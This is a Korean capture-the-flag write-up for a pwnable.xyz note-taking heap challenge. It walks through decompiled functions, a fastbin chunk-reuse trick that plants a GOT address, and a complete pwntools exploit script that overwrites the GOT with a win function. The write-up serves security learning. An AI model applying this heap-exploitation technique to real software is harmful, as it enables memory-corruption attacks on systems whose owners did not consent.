1. 문제
1) mitigation 확인
이번에는 PE가 안걸려 있다
2) 문제 확인
노트를 입력, 수정, 삭제, 출력 할수 있는 메뉴가 나온다.
3) 코드 확인
•
make_note() 함수
int make_note()
{
_QWORD *v0; // rax
int v1; // eax
__int64 v2; // rcx
int v4; // [rsp+4h] [rbp-Ch]
void **buf; // [rsp+8h] [rbp-8h]
if ( count <= 32 )
{
printf("size of note: ");
v4 = read_int32();
buf = (void **)malloc(0x28uLL);
if ( !buf[4] )
buf[4] = malloc(v4);
printf("title: ");
read(0, buf, 0x20uLL);
printf("note: ");
read(0, buf[4], v4 - 1);
v1 = count++;
v2 = v1;
v0 = book;
book[v2] = buf;
}
else
{
LODWORD(v0) = puts("Limit reached.");
}
return (int)v0;
}
C
복사
해당 함수에서 초기에 고정 값 0x28으로 buf에 청크를 할당받는다. 해당 영역에 0x20 만큼 타이틀을 입력하고, buf[4]가 널값이라면, 해당 위치에 사용자가 입력한 사이즈만큼 한번더 청크를 할당받고, 그 주소를 buf[4]에 넣는다. 그리고 book 전역변수에 buf 주소를 저장한다.
•
edit_note() 함수
ssize_t edit_note()
{
ssize_t result; // rax
size_t v1; // rax
ssize_t v2; // [rsp+8h] [rbp-8h]
result = get_note();
v2 = result;
if ( result )
{
printf("Title %s: ", result);
v1 = strlen(*(const char **)(v2 + 0x20));
result = read(0, *(void **)(v2 + 0x20), v1);
}
return result;
}
C
복사
bss 영역에 있는 book 배열에서 인덱스를 선택해 수정이 가능하다. 아까 make_note에서 buf주소 +0x20 위치에 입력한 사이즈만큼 할당받은 청크 주소가 들어가 있고 이 주소에 note 내용이 들어가 있다. 따라서 해당 영역을 read 함수로 재입력 가능하다
•
delete_note() 함수
_QWORD *delete_note()
{
_QWORD *result; // rax
int v1; // eax
__int64 v2; // rdx
result = (_QWORD *)get_note();
if ( result )
{
free((void *)result[4]);
v1 = count--;
v2 = v1;
result = book;
book[v2] = 0LL;
}
return result;
}
C
복사
해당 함수에서 free가 진행되는데, 특이한 것은 note가 입력된 청크만 free시킨다는 것이다. free된 영역은 book 배열에서 0으로 초기화 시킨다.
2. 접근방법
title의 마지막 부분에 note가 들어가는 청크 주소가 입력되어있다. 초기에 make_note 호출시 size를 0x28과 동일하게 입력하고, title에는 아무값, note 부분에 0x20 더미 + 0x8 got주소 이렇게 입력한다.
그후에 free를 시키면 note 영역이 fastbin에 들어간다. 이때 make_note를 한번더 호출하게 된다면 fastbin에 존재하는 아까 free된 note 영역을 재할당 받게 되고, buf[4] 위치에 현재 got 주소를 박아놨기 때문에,
if ( !buf[4] )
buf[4] = malloc(v4);
C
복사
이 부분을 건너띄게 된다. 그다음 buf[4]에 read함수로 입력을 하는데, 여기에 win함수의 주소를 넣어서 got_overwrite를 하면 끝이다.
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG")
p=remote("svc.pwnable.xyz",30030)
#p=process("./challenge")
#gdb.attach(p,'code\nb *0xc8b+$code\n')
def make_note(size,title,note):
pause()
p.sendafter("> ",str(1))
p.sendafter("size of note: ",str(size))
p.sendafter("title: ",str(title))
p.sendafter("note: ",str(note))
def edit_note(index,note):
p.sendlineafter("> ",p32(0x2))
p.sendlineafter("Note#: ",str(index))
p.sendafter(": ",str(note))
def delete_note(index):
p.sendafter("> ",str(0x3))
p.sendafter("Note#: ",str(index))
make_note(40,"A"*8,"B"*0x20+p32(0x602020))
#p.sendafter("> ","5")
#make_note(30,"A"*8,"B"*8)
delete_note(0)
make_note(40,"A",p64(0x40096C))
p.sendlineafter("> ","5")
p.interactive()
Python
복사
4. 몰랐던 개념
•
none